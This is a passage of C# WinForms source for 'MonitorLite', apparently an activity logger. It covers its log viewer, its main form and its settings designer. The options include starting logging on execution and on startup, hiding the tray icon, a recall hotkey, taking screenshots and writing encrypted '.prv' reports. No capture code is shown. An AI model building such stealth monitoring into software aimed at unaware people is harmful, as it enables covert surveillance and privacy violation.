18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.tabControl1 = new System.Windows.Forms.TabControl();
32 | this.tabPage1 = new System.Windows.Forms.TabPage();
33 | this.splitContainer1 = new System.Windows.Forms.SplitContainer();
34 | this.webBrowser1 = new System.Windows.Forms.WebBrowser();
35 | this.tabPage2 = new System.Windows.Forms.TabPage();
36 | this.textBox1 = new System.Windows.Forms.TextBox();
37 | this.betterListView1 = new MonitorLiteViewer.BetterListView();
38 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
39 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
40 | this.tabControl1.SuspendLayout();
41 | this.tabPage1.SuspendLayout();
42 | this.splitContainer1.Panel1.SuspendLayout();
43 | this.splitContainer1.Panel2.SuspendLayout();
44 | this.splitContainer1.SuspendLayout();
45 | this.tabPage2.SuspendLayout();
46 | this.SuspendLayout();
47 | //
48 | // tabControl1
49 | //
50 | this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
51 | | System.Windows.Forms.AnchorStyles.Left)
52 | | System.Windows.Forms.AnchorStyles.Right)));
53 | this.tabControl1.Controls.Add(this.tabPage1);
54 | this.tabControl1.Controls.Add(this.tabPage2);
55 | this.tabControl1.Location = new System.Drawing.Point(12, 12);
56 | this.tabControl1.Name = "tabControl1";
57 | this.tabControl1.SelectedIndex = 0;
58 | this.tabControl1.Size = new System.Drawing.Size(986, 445);
59 | this.tabControl1.TabIndex = 0;
60 | //
61 | // tabPage1
62 | //
63 | this.tabPage1.Controls.Add(this.splitContainer1);
64 | this.tabPage1.Location = new System.Drawing.Point(4, 22);
65 | this.tabPage1.Name = "tabPage1";
66 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
67 | this.tabPage1.Size = new System.Drawing.Size(978, 419);
68 | this.tabPage1.TabIndex = 0;
69 | this.tabPage1.Tag = "VIEW";
70 | this.tabPage1.Text = "View";
71 | this.tabPage1.UseVisualStyleBackColor = true;
72 | //
73 | // splitContainer1
74 | //
75 | this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill;
76 | this.splitContainer1.Location = new System.Drawing.Point(3, 3);
77 | this.splitContainer1.Name = "splitContainer1";
78 | //
79 | // splitContainer1.Panel1
80 | //
81 | this.splitContainer1.Panel1.Controls.Add(this.betterListView1);
82 | //
83 | // splitContainer1.Panel2
84 | //
85 | this.splitContainer1.Panel2.Controls.Add(this.webBrowser1);
86 | this.splitContainer1.Size = new System.Drawing.Size(972, 413);
87 | this.splitContainer1.SplitterDistance = 324;
88 | this.splitContainer1.TabIndex = 0;
89 | //
90 | // webBrowser1
91 | //
92 | this.webBrowser1.Dock = System.Windows.Forms.DockStyle.Fill;
93 | this.webBrowser1.Location = new System.Drawing.Point(0, 0);
94 | this.webBrowser1.MinimumSize = new System.Drawing.Size(20, 20);
95 | this.webBrowser1.Name = "webBrowser1";
96 | this.webBrowser1.Size = new System.Drawing.Size(644, 413);
97 | this.webBrowser1.TabIndex = 0;
98 | //
99 | // tabPage2
100 | //
101 | this.tabPage2.Controls.Add(this.textBox1);
102 | this.tabPage2.Location = new System.Drawing.Point(4, 22);
103 | this.tabPage2.Name = "tabPage2";
104 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
105 | this.tabPage2.Size = new System.Drawing.Size(978, 419);
106 | this.tabPage2.TabIndex = 1;
107 | this.tabPage2.Text = "Key";
108 | this.tabPage2.UseVisualStyleBackColor = true;
109 | //
110 | // textBox1
111 | //
112 | this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
113 | | System.Windows.Forms.AnchorStyles.Left)
114 | | System.Windows.Forms.AnchorStyles.Right)));
115 | this.textBox1.Location = new System.Drawing.Point(6, 6);
116 | this.textBox1.Multiline = true;
117 | this.textBox1.Name = "textBox1";
118 | this.textBox1.Size = new System.Drawing.Size(966, 407);
119 | this.textBox1.TabIndex = 0;
120 | //
121 | // betterListView1
122 | //
123 | this.betterListView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
124 | | System.Windows.Forms.AnchorStyles.Left)
125 | | System.Windows.Forms.AnchorStyles.Right)));
126 | this.betterListView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
127 | this.columnHeader1,
128 | this.columnHeader2});
129 | this.betterListView1.FullRowSelect = true;
130 | this.betterListView1.Location = new System.Drawing.Point(3, 3);
131 | this.betterListView1.Name = "betterListView1";
132 | this.betterListView1.Size = new System.Drawing.Size(319, 407);
133 | this.betterListView1.TabIndex = 0;
134 | this.betterListView1.UseCompatibleStateImageBehavior = false;
135 | this.betterListView1.View = System.Windows.Forms.View.Details;
136 | this.betterListView1.SelectedIndexChanged += new System.EventHandler(this.betterListView1_SelectedIndexChanged);
137 | //
138 | // columnHeader1
139 | //
140 | this.columnHeader1.Text = "Date";
141 | this.columnHeader1.Width = 157;
142 | //
143 | // columnHeader2
144 | //
145 | this.columnHeader2.Text = "Name";
146 | this.columnHeader2.Width = 155;
147 | //
148 | // LogViewerForm
149 | //
150 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
151 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
152 | this.ClientSize = new System.Drawing.Size(1010, 469);
153 | this.Controls.Add(this.tabControl1);
154 | this.Name = "LogViewerForm";
155 | this.Text = "Log Viewer";
156 | this.tabControl1.ResumeLayout(false);
157 | this.tabPage1.ResumeLayout(false);
158 | this.splitContainer1.Panel1.ResumeLayout(false);
159 | this.splitContainer1.Panel2.ResumeLayout(false);
160 | this.splitContainer1.ResumeLayout(false);
161 | this.tabPage2.ResumeLayout(false);
162 | this.tabPage2.PerformLayout();
163 | this.ResumeLayout(false);
164 |
165 | }
166 |
167 | #endregion
168 |
169 | private System.Windows.Forms.TabControl tabControl1;
170 | private System.Windows.Forms.TabPage tabPage1;
171 | private System.Windows.Forms.TabPage tabPage2;
172 | private System.Windows.Forms.SplitContainer splitContainer1;
173 | private System.Windows.Forms.WebBrowser webBrowser1;
174 | private System.Windows.Forms.TextBox textBox1;
175 | private BetterListView betterListView1;
176 | private System.Windows.Forms.ColumnHeader columnHeader1;
177 | private System.Windows.Forms.ColumnHeader columnHeader2;
178 | }
179 | }
--------------------------------------------------------------------------------
/MonitorLite/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using MonitorLiteCore;
9 | using System.IO;
10 | using MonitorLiteViewer;
11 |
12 | namespace MonitorLiteUi
13 | {
14 | public partial class Form1 : Form
15 | {
16 |
17 | MonitorLite monitor;
18 | LogViewer logViewer;
19 | public Form1(MonitorSettings settings)
20 | {
21 |
22 | InitializeComponent();
23 |
24 | MonitorLiteManager.HotKeyPress += MonitorLiteManager_HotKeyPress;
25 |
26 | tabControl2.SelectedIndexChanged += TabControl2_SelectedIndexChanged;
27 | SetUiSettings(settings);
28 |
29 |
30 | RestartMonitor();
31 |
32 | logViewer = new LogViewer();
33 | this.FormClosing += Form1_FormClosing;
34 | this.notifyIcon1.Icon = this.Icon;
35 | this.notifyIcon1.MouseDoubleClick += NotifyIcon1_MouseDoubleClick;
36 | this.Resize += Form1_Resize;
37 | }
38 |
39 | private void MonitorLiteManager_HotKeyPress(object sender, EventArgs e)
40 | {
41 | if (this.IsDisposed)
42 | return;
43 |
44 | if (this.InvokeRequired)
45 | {
46 | this.Invoke(new MethodInvoker(() => { MonitorLiteManager_HotKeyPress(sender, e); }));
47 | return;
48 | }
49 |
50 |
51 |
52 | if (!this.Visible)
53 | {
54 | this.Show();
55 | }
56 |
57 | this.WindowState = FormWindowState.Normal;
58 | this.ShowInTaskbar = true;
59 | }
60 |
61 | private void Form1_Resize(object sender, EventArgs e)
62 | {
63 | if (this.WindowState == FormWindowState.Minimized)
64 | {
65 | if (!this.Visible)
66 | return;
67 |
68 | if (monitor == null)
69 | return;
70 |
71 | if (!monitor.Settings.MinimizeToTray)
72 | return;
73 |
74 |
75 |
76 | this.ShowInTaskbar = false;
77 | this.notifyIcon1.Visible = !monitor.Settings.HideTrayIcon;
78 | this.Hide();
79 | }
80 | }
81 |
82 | private void NotifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
83 | {
84 | this.notifyIcon1.Visible = false;
85 | this.Show();
86 | this.WindowState = FormWindowState.Normal;
87 | }
88 |
89 |
90 |
91 |
92 |
93 |
94 | private void Form1_FormClosing(object sender, FormClosingEventArgs e)
95 | {
96 | if (monitor != null)
97 | {
98 | monitor.Stop();
99 | }
100 | }
101 |
102 | private void RestartMonitor()
103 | {
104 | bool enabled = false;
105 | if (monitor != null)
106 | {
107 | enabled = monitor.Enabled;
108 | monitor.Stop();
109 | monitor = null;
110 | }
111 | monitor = MonitorLiteManager.CreateMonitor(GetUiSettings());
112 | Monitor_OnStatusChange(null, EventArgs.Empty);
113 | monitor.OnStatusChange += Monitor_OnStatusChange;
114 |
115 | if (enabled && !monitor.Enabled)
116 | monitor.Start();
117 |
118 | if (monitor.Settings.StartMinimized)
119 | {
120 | this.WindowState = FormWindowState.Minimized;
121 | if (monitor.Settings.MinimizeToTray)
122 | {
123 | this.ShowInTaskbar = false;
124 | }
125 | else { this.ShowInTaskbar = true; }
126 | }
127 |
128 |
129 |
130 | }
131 |
132 | private void Monitor_OnStatusChange(object sender, EventArgs e)
133 | {
134 | if (monitor.Enabled)
135 | {
136 | start_stop.Text = "Stop";
137 | }
138 | else
139 | {
140 | start_stop.Text = "Start";
141 | }
142 | }
143 |
144 | private void TabControl2_SelectedIndexChanged(object sender, EventArgs e)
145 | {
146 | string tag = tabControl2.SelectedTab.Tag as string;
147 | if (tag == "SAVE")
148 | {
149 | SaveMonitorSettings();
150 | RestartMonitor();
151 | label3.Text = Program.monitorSettingPath;
152 | }
153 | }
154 |
155 | private void ReadMonitorSettings()
156 | {
157 | MonitorSettings settings;
158 |
159 | if (!File.Exists(Program.monitorSettingPath))
160 | {
161 | settings = GetUiSettings();
162 | }
163 | else
164 | {
165 | byte[] settingsData = File.ReadAllBytes(Program.monitorSettingPath);
166 | settings = MonitorLiteManager.ReadSettings(settingsData);
167 | SetUiSettings(settings);
168 | }
169 | }
170 |
171 | private void SaveMonitorSettings()
172 | {
173 | MonitorSettings settings = GetUiSettings();
174 | byte[] settingsData = MonitorLiteManager.WriteSettings(settings);
175 | File.WriteAllBytes(Program.monitorSettingPath, settingsData);
176 | }
177 |
178 | private MonitorSettings GetUiSettings()
179 | {
180 | MonitorSettings settings = MonitorLiteManager.GetDefaultSettings();
181 | settings.StartOnStartup = start_startup.Checked;
182 | settings.StartLoggingOnStartup = start_log_startup.Checked;
183 | settings.StartMinimized = start_minimized.Checked;
184 | settings.MinimizeToTray = minimize_tray.Checked;
185 | settings.HideTrayIcon = hide_tray.Checked;
186 | settings.Hotkey = hotkey.Text[0];
187 | settings.ReportStoragePath = report_folder.Text;
188 | settings.ReportExtension = report_extension.Text;
189 | settings.MaxLogSize = (int)max_log_size.Value;
190 | settings.PublicKey = public_key.Text;
191 | settings.TakeScreenshots = take_screen.Checked;
192 | return settings;
193 | }
194 |
195 | private void SetUiSettings(MonitorSettings settings)
196 | {
197 | start_startup.Checked = settings.StartOnStartup;
198 | start_log_startup.Checked = settings.StartLoggingOnStartup;
199 | start_minimized.Checked = settings.StartMinimized;
200 | minimize_tray.Checked = settings.MinimizeToTray;
201 | hide_tray.Checked = settings.HideTrayIcon;
202 | hotkey.Text = settings.Hotkey.ToString();
203 | report_folder.Text = settings.ReportStoragePath;
204 | report_extension.Text = settings.ReportExtension;
205 | max_log_size.Value = settings.MaxLogSize;
206 | public_key.Text = settings.PublicKey;
207 | take_screen.Checked = settings.TakeScreenshots;
208 | }
209 |
210 | private void button3_Click(object sender, EventArgs e)
211 | {
212 | string publicKey, privateKey;
213 | MonitorLiteCommon.Cryptographics.GenerateKeyPair(out publicKey, out privateKey);
214 | using (SaveFileDialog sfd = new SaveFileDialog())
215 | {
216 | sfd.Filter = "Plain Text(.txt)|*.txt";
217 | sfd.FileName = "public_key.txt";
218 | if (sfd.ShowDialog() == DialogResult.OK)
219 | {
220 | File.WriteAllText(sfd.FileName, publicKey);
221 | }
222 | sfd.FileName = "private_key.txt";
223 | if (sfd.ShowDialog() == DialogResult.OK)
224 | {
225 | File.WriteAllText(sfd.FileName, privateKey);
226 | }
227 | }
228 | }
229 |
230 | private void textBox2_TextChanged(object sender, EventArgs e)
231 | {
232 | if (!IsAllUpper(hotkey.Text))
233 | hotkey.Text = hotkey.Text.ToUpperInvariant();
234 | }
235 |
236 | private bool IsAllUpper(string s)
237 | {
238 | foreach (char c in s)
239 | if (!char.IsUpper(c))
240 | return false;
241 | return true;
242 | }
243 |
244 | private void start_stop_Click(object sender, EventArgs e)
245 | {
246 | if (monitor == null || !monitor.Enabled)
247 | {
248 | RestartMonitor();
249 | if (!monitor.Enabled)
250 | monitor.Start();
251 | return;
252 | }
253 |
254 | monitor.Stop();
255 |
256 | }
257 |
258 | private void view_logs_Click(object sender, EventArgs e)
259 | {
260 | if (monitor == null)
261 | return;
262 |
263 | logViewer.ShowLogViewer(monitor.Settings.ReportStoragePath, monitor.Settings.ReportExtension);
264 | }
265 | }
266 | }
267 |
--------------------------------------------------------------------------------
/MonitorLite/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace MonitorLiteUi
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | this.tabControl1 = new System.Windows.Forms.TabControl();
33 | this.tabPage1 = new System.Windows.Forms.TabPage();
34 | this.groupBox4 = new System.Windows.Forms.GroupBox();
35 | this.gen_keypair = new System.Windows.Forms.Button();
36 | this.groupBox2 = new System.Windows.Forms.GroupBox();
37 | this.view_logs = new System.Windows.Forms.Button();
38 | this.groupBox1 = new System.Windows.Forms.GroupBox();
39 | this.start_stop = new System.Windows.Forms.Button();
40 | this.tabPage2 = new System.Windows.Forms.TabPage();
41 | this.tabControl2 = new System.Windows.Forms.TabControl();
42 | this.tabPage4 = new System.Windows.Forms.TabPage();
43 | this.groupBox8 = new System.Windows.Forms.GroupBox();
44 | this.max_log_size = new System.Windows.Forms.NumericUpDown();
45 | this.take_screen = new System.Windows.Forms.CheckBox();
46 | this.groupBox5 = new System.Windows.Forms.GroupBox();
47 | this.label1 = new System.Windows.Forms.Label();
48 | this.hotkey = new System.Windows.Forms.TextBox();
49 | this.hide_tray = new System.Windows.Forms.CheckBox();
50 | this.minimize_tray = new System.Windows.Forms.CheckBox();
51 | this.start_minimized = new System.Windows.Forms.CheckBox();
52 | this.start_startup = new System.Windows.Forms.CheckBox();
53 | this.start_log_startup = new System.Windows.Forms.CheckBox();
54 | this.tabPage5 = new System.Windows.Forms.TabPage();
55 | this.groupBox3 = new System.Windows.Forms.GroupBox();
56 | this.public_key = new System.Windows.Forms.TextBox();
57 | this.tabPage7 = new System.Windows.Forms.TabPage();
58 | this.groupBox7 = new System.Windows.Forms.GroupBox();
59 | this.report_extension = new System.Windows.Forms.TextBox();
60 | this.groupBox6 = new System.Windows.Forms.GroupBox();
61 | this.button4 = new System.Windows.Forms.Button();
62 | this.report_folder = new System.Windows.Forms.TextBox();
63 | this.tabPage6 = new System.Windows.Forms.TabPage();
64 | this.label3 = new System.Windows.Forms.Label();
65 | this.label2 = new System.Windows.Forms.Label();
66 | this.tabPage3 = new System.Windows.Forms.TabPage();
67 | this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
68 | this.label4 = new System.Windows.Forms.Label();
69 | this.label5 = new System.Windows.Forms.Label();
70 | this.tabControl1.SuspendLayout();
71 | this.tabPage1.SuspendLayout();
72 | this.groupBox4.SuspendLayout();
73 | this.groupBox2.SuspendLayout();
74 | this.groupBox1.SuspendLayout();
75 | this.tabPage2.SuspendLayout();
76 | this.tabControl2.SuspendLayout();
77 | this.tabPage4.SuspendLayout();
78 | this.groupBox8.SuspendLayout();
79 | ((System.ComponentModel.ISupportInitialize)(this.max_log_size)).BeginInit();
80 | this.groupBox5.SuspendLayout();
81 | this.tabPage5.SuspendLayout();
82 | this.groupBox3.SuspendLayout();
83 | this.tabPage7.SuspendLayout();
84 | this.groupBox7.SuspendLayout();
85 | this.groupBox6.SuspendLayout();
86 | this.tabPage6.SuspendLayout();
87 | this.tabPage3.SuspendLayout();
88 | this.SuspendLayout();
89 | //
90 | // tabControl1
91 | //
92 | this.tabControl1.Controls.Add(this.tabPage1);
93 | this.tabControl1.Controls.Add(this.tabPage2);
94 | this.tabControl1.Controls.Add(this.tabPage3);
95 | this.tabControl1.Location = new System.Drawing.Point(12, 12);
96 | this.tabControl1.Name = "tabControl1";
97 | this.tabControl1.SelectedIndex = 0;
98 | this.tabControl1.Size = new System.Drawing.Size(260, 238);
99 | this.tabControl1.TabIndex = 0;
100 | //
101 | // tabPage1
102 | //
103 | this.tabPage1.Controls.Add(this.groupBox4);
104 | this.tabPage1.Controls.Add(this.groupBox2);
105 | this.tabPage1.Controls.Add(this.groupBox1);
106 | this.tabPage1.Location = new System.Drawing.Point(4, 22);
107 | this.tabPage1.Name = "tabPage1";
108 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
109 | this.tabPage1.Size = new System.Drawing.Size(252, 212);
110 | this.tabPage1.TabIndex = 0;
111 | this.tabPage1.Text = "Home";
112 | this.tabPage1.UseVisualStyleBackColor = true;
113 | //
114 | // groupBox4
115 | //
116 | this.groupBox4.Controls.Add(this.gen_keypair);
117 | this.groupBox4.Location = new System.Drawing.Point(6, 140);
118 | this.groupBox4.Name = "groupBox4";
119 | this.groupBox4.Size = new System.Drawing.Size(240, 62);
120 | this.groupBox4.TabIndex = 2;
121 | this.groupBox4.TabStop = false;
122 | this.groupBox4.Text = "Keys";
123 | //
124 | // gen_keypair
125 | //
126 | this.gen_keypair.Location = new System.Drawing.Point(6, 19);
127 | this.gen_keypair.Name = "gen_keypair";
128 | this.gen_keypair.Size = new System.Drawing.Size(228, 36);
129 | this.gen_keypair.TabIndex = 0;
130 | this.gen_keypair.Text = "Generate Key-Pair...";
131 | this.gen_keypair.UseVisualStyleBackColor = true;
132 | this.gen_keypair.Click += new System.EventHandler(this.button3_Click);
133 | //
134 | // groupBox2
135 | //
136 | this.groupBox2.Controls.Add(this.view_logs);
137 | this.groupBox2.Location = new System.Drawing.Point(6, 72);
138 | this.groupBox2.Name = "groupBox2";
139 | this.groupBox2.Size = new System.Drawing.Size(240, 62);
140 | this.groupBox2.TabIndex = 1;
141 | this.groupBox2.TabStop = false;
142 | this.groupBox2.Text = "Log Viewer";
143 | //
144 | // view_logs
145 | //
146 | this.view_logs.Location = new System.Drawing.Point(6, 19);
147 | this.view_logs.Name = "view_logs";
148 | this.view_logs.Size = new System.Drawing.Size(228, 36);
149 | this.view_logs.TabIndex = 0;
150 | this.view_logs.Text = "View Logs...";
151 | this.view_logs.UseVisualStyleBackColor = true;
152 | this.view_logs.Click += new System.EventHandler(this.view_logs_Click);
153 | //
154 | // groupBox1
155 | //
156 | this.groupBox1.Controls.Add(this.start_stop);
157 | this.groupBox1.Location = new System.Drawing.Point(6, 6);
158 | this.groupBox1.Name = "groupBox1";
159 | this.groupBox1.Size = new System.Drawing.Size(240, 60);
160 | this.groupBox1.TabIndex = 0;
161 | this.groupBox1.TabStop = false;
162 | this.groupBox1.Text = "Status";
163 | //
164 | // start_stop
165 | //
166 | this.start_stop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
167 | this.start_stop.Location = new System.Drawing.Point(6, 18);
168 | this.start_stop.Name = "start_stop";
169 | this.start_stop.Size = new System.Drawing.Size(228, 36);
170 | this.start_stop.TabIndex = 0;
171 | this.start_stop.Text = "Start";
172 | this.start_stop.UseVisualStyleBackColor = true;
173 | this.start_stop.Click += new System.EventHandler(this.start_stop_Click);
174 | //
175 | // tabPage2
176 | //
177 | this.tabPage2.Controls.Add(this.tabControl2);
178 | this.tabPage2.Location = new System.Drawing.Point(4, 22);
179 | this.tabPage2.Name = "tabPage2";
180 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
181 | this.tabPage2.Size = new System.Drawing.Size(252, 212);
182 | this.tabPage2.TabIndex = 1;
183 | this.tabPage2.Text = "Settings";
184 | this.tabPage2.UseVisualStyleBackColor = true;
185 | //
186 | // tabControl2
187 | //
188 | this.tabControl2.Controls.Add(this.tabPage4);
189 | this.tabControl2.Controls.Add(this.tabPage5);
190 | this.tabControl2.Controls.Add(this.tabPage7);
191 | this.tabControl2.Controls.Add(this.tabPage6);
192 | this.tabControl2.Location = new System.Drawing.Point(6, 6);
193 | this.tabControl2.Name = "tabControl2";
194 | this.tabControl2.SelectedIndex = 0;
195 | this.tabControl2.Size = new System.Drawing.Size(240, 200);
196 | this.tabControl2.TabIndex = 4;
197 | //
198 | // tabPage4
199 | //
200 | this.tabPage4.Controls.Add(this.groupBox8);
201 | this.tabPage4.Controls.Add(this.take_screen);
202 | this.tabPage4.Controls.Add(this.groupBox5);
203 | this.tabPage4.Controls.Add(this.hide_tray);
204 | this.tabPage4.Controls.Add(this.minimize_tray);
205 | this.tabPage4.Controls.Add(this.start_minimized);
206 | this.tabPage4.Controls.Add(this.start_startup);
207 | this.tabPage4.Controls.Add(this.start_log_startup);
208 | this.tabPage4.Location = new System.Drawing.Point(4, 22);
209 | this.tabPage4.Name = "tabPage4";
210 | this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
211 | this.tabPage4.Size = new System.Drawing.Size(232, 174);
212 | this.tabPage4.TabIndex = 0;
213 | this.tabPage4.Text = "General";
214 | this.tabPage4.UseVisualStyleBackColor = true;
215 | //
216 | // groupBox8
217 | //
218 | this.groupBox8.Controls.Add(this.max_log_size);
219 | this.groupBox8.Location = new System.Drawing.Point(6, 122);
220 | this.groupBox8.Name = "groupBox8";
221 | this.groupBox8.Size = new System.Drawing.Size(111, 46);
222 | this.groupBox8.TabIndex = 10;
223 | this.groupBox8.TabStop = false;
224 | this.groupBox8.Text = "Max Log Size (Kb)";
225 | //
226 | // max_log_size
227 | //
228 | this.max_log_size.Location = new System.Drawing.Point(6, 19);
229 | this.max_log_size.Maximum = new decimal(new int[] {
230 | 1410065407,
231 | 2,
232 | 0,
233 | 0});
234 | this.max_log_size.Minimum = new decimal(new int[] {
235 | 1,
236 | 0,
237 | 0,
238 | 0});
239 | this.max_log_size.Name = "max_log_size";
240 | this.max_log_size.Size = new System.Drawing.Size(99, 20);
241 | this.max_log_size.TabIndex = 0;
242 | this.max_log_size.Value = new decimal(new int[] {
243 | 50,
244 | 0,
245 | 0,
246 | 0});
247 | //
248 | // take_screen
249 | //
250 | this.take_screen.AutoSize = true;
251 | this.take_screen.Location = new System.Drawing.Point(108, 52);
252 | this.take_screen.Name = "take_screen";
253 | this.take_screen.Size = new System.Drawing.Size(111, 17);
254 | this.take_screen.TabIndex = 9;
255 | this.take_screen.Text = "Take screenshots";
256 | this.take_screen.UseVisualStyleBackColor = true;
257 | //
258 | // groupBox5
259 | //
260 | this.groupBox5.Controls.Add(this.label1);
261 | this.groupBox5.Controls.Add(this.hotkey);
262 | this.groupBox5.Location = new System.Drawing.Point(107, 75);
263 | this.groupBox5.Name = "groupBox5";
264 | this.groupBox5.Size = new System.Drawing.Size(119, 46);
265 | this.groupBox5.TabIndex = 8;
266 | this.groupBox5.TabStop = false;
267 | this.groupBox5.Text = "Hotkey";
268 | //
269 | // label1
270 | //
271 | this.label1.AutoSize = true;
272 | this.label1.Location = new System.Drawing.Point(6, 22);
273 | this.label1.Name = "label1";
274 | this.label1.Size = new System.Drawing.Size(76, 13);
275 | this.label1.TabIndex = 1;
276 | this.label1.Text = "CTRL + ALT +";
277 | //
278 | // hotkey
279 | //
280 | this.hotkey.Location = new System.Drawing.Point(88, 19);
281 | this.hotkey.MaxLength = 1;
282 | this.hotkey.Name = "hotkey";
283 | this.hotkey.Size = new System.Drawing.Size(24, 20);
284 | this.hotkey.TabIndex = 0;
285 | this.hotkey.Text = "M";
286 | this.hotkey.TextChanged += new System.EventHandler(this.textBox2_TextChanged);
287 | //
288 | // hide_tray
289 | //
290 | this.hide_tray.AutoSize = true;
291 | this.hide_tray.Location = new System.Drawing.Point(6, 52);
292 | this.hide_tray.Name = "hide_tray";
293 | this.hide_tray.Size = new System.Drawing.Size(91, 17);
294 | this.hide_tray.TabIndex = 7;
295 | this.hide_tray.Text = "Hide tray icon";
296 | this.hide_tray.UseVisualStyleBackColor = true;
297 | //
298 | // minimize_tray
299 | //
300 | this.minimize_tray.AutoSize = true;
301 | this.minimize_tray.Location = new System.Drawing.Point(108, 29);
302 | this.minimize_tray.Name = "minimize_tray";
303 | this.minimize_tray.Size = new System.Drawing.Size(98, 17);
304 | this.minimize_tray.TabIndex = 6;
305 | this.minimize_tray.Text = "Minimize to tray";
306 | this.minimize_tray.UseVisualStyleBackColor = true;
307 | //
308 | // start_minimized
309 | //
310 | this.start_minimized.AutoSize = true;
311 | this.start_minimized.Location = new System.Drawing.Point(6, 29);
312 | this.start_minimized.Name = "start_minimized";
313 | this.start_minimized.Size = new System.Drawing.Size(96, 17);
314 | this.start_minimized.TabIndex = 5;
315 | this.start_minimized.Text = "Start minimized";
316 | this.start_minimized.UseVisualStyleBackColor = true;
317 | //
318 | // start_startup
319 | //
320 | this.start_startup.AutoSize = true;
321 | this.start_startup.Location = new System.Drawing.Point(6, 75);
322 | this.start_startup.Name = "start_startup";
323 | this.start_startup.Size = new System.Drawing.Size(98, 17);
324 | this.start_startup.TabIndex = 4;
325 | this.start_startup.Text = "Start on startup";
326 | this.start_startup.UseVisualStyleBackColor = true;
327 | //
328 | // start_log_startup
329 | //
330 | this.start_log_startup.AutoSize = true;
331 | this.start_log_startup.Location = new System.Drawing.Point(6, 6);
332 | this.start_log_startup.Name = "start_log_startup";
333 | this.start_log_startup.Size = new System.Drawing.Size(149, 17);
334 | this.start_log_startup.TabIndex = 1;
335 | this.start_log_startup.Text = "Start logging on execution";
336 | this.start_log_startup.UseVisualStyleBackColor = true;
337 | //
338 | // tabPage5
339 | //
340 | this.tabPage5.Controls.Add(this.groupBox3);
341 | this.tabPage5.Location = new System.Drawing.Point(4, 22);
342 | this.tabPage5.Name = "tabPage5";
343 | this.tabPage5.Padding = new System.Windows.Forms.Padding(3);
344 | this.tabPage5.Size = new System.Drawing.Size(232, 174);
345 | this.tabPage5.TabIndex = 1;
346 | this.tabPage5.Text = "Keys";
347 | this.tabPage5.UseVisualStyleBackColor = true;
348 | //
349 | // groupBox3
350 | //
351 | this.groupBox3.Controls.Add(this.public_key);
352 | this.groupBox3.Location = new System.Drawing.Point(6, 6);
353 | this.groupBox3.Name = "groupBox3";
354 | this.groupBox3.Size = new System.Drawing.Size(220, 162);
355 | this.groupBox3.TabIndex = 0;
356 | this.groupBox3.TabStop = false;
357 | this.groupBox3.Text = "Public Key";
358 | //
359 | // public_key
360 | //
361 | this.public_key.Location = new System.Drawing.Point(6, 19);
362 | this.public_key.Multiline = true;
363 | this.public_key.Name = "public_key";
364 | this.public_key.Size = new System.Drawing.Size(208, 137);
365 | this.public_key.TabIndex = 0;
366 | //
367 | // tabPage7
368 | //
369 | this.tabPage7.Controls.Add(this.groupBox7);
370 | this.tabPage7.Controls.Add(this.groupBox6);
371 | this.tabPage7.Location = new System.Drawing.Point(4, 22);
372 | this.tabPage7.Name = "tabPage7";
373 | this.tabPage7.Padding = new System.Windows.Forms.Padding(3);
374 | this.tabPage7.Size = new System.Drawing.Size(232, 174);
375 | this.tabPage7.TabIndex = 3;
376 | this.tabPage7.Text = "Reports";
377 | this.tabPage7.UseVisualStyleBackColor = true;
378 | //
379 | // groupBox7
380 | //
381 | this.groupBox7.Controls.Add(this.report_extension);
382 | this.groupBox7.Location = new System.Drawing.Point(6, 88);
383 | this.groupBox7.Name = "groupBox7";
384 | this.groupBox7.Size = new System.Drawing.Size(220, 47);
385 | this.groupBox7.TabIndex = 1;
386 | this.groupBox7.TabStop = false;
387 | this.groupBox7.Text = "Report extension";
388 | //
389 | // report_extension
390 | //
391 | this.report_extension.Location = new System.Drawing.Point(6, 19);
392 | this.report_extension.Name = "report_extension";
393 | this.report_extension.Size = new System.Drawing.Size(208, 20);
394 | this.report_extension.TabIndex = 0;
395 | this.report_extension.Text = ".prv";
396 | //
397 | // groupBox6
398 | //
399 | this.groupBox6.Controls.Add(this.button4);
400 | this.groupBox6.Controls.Add(this.report_folder);
401 | this.groupBox6.Location = new System.Drawing.Point(6, 6);
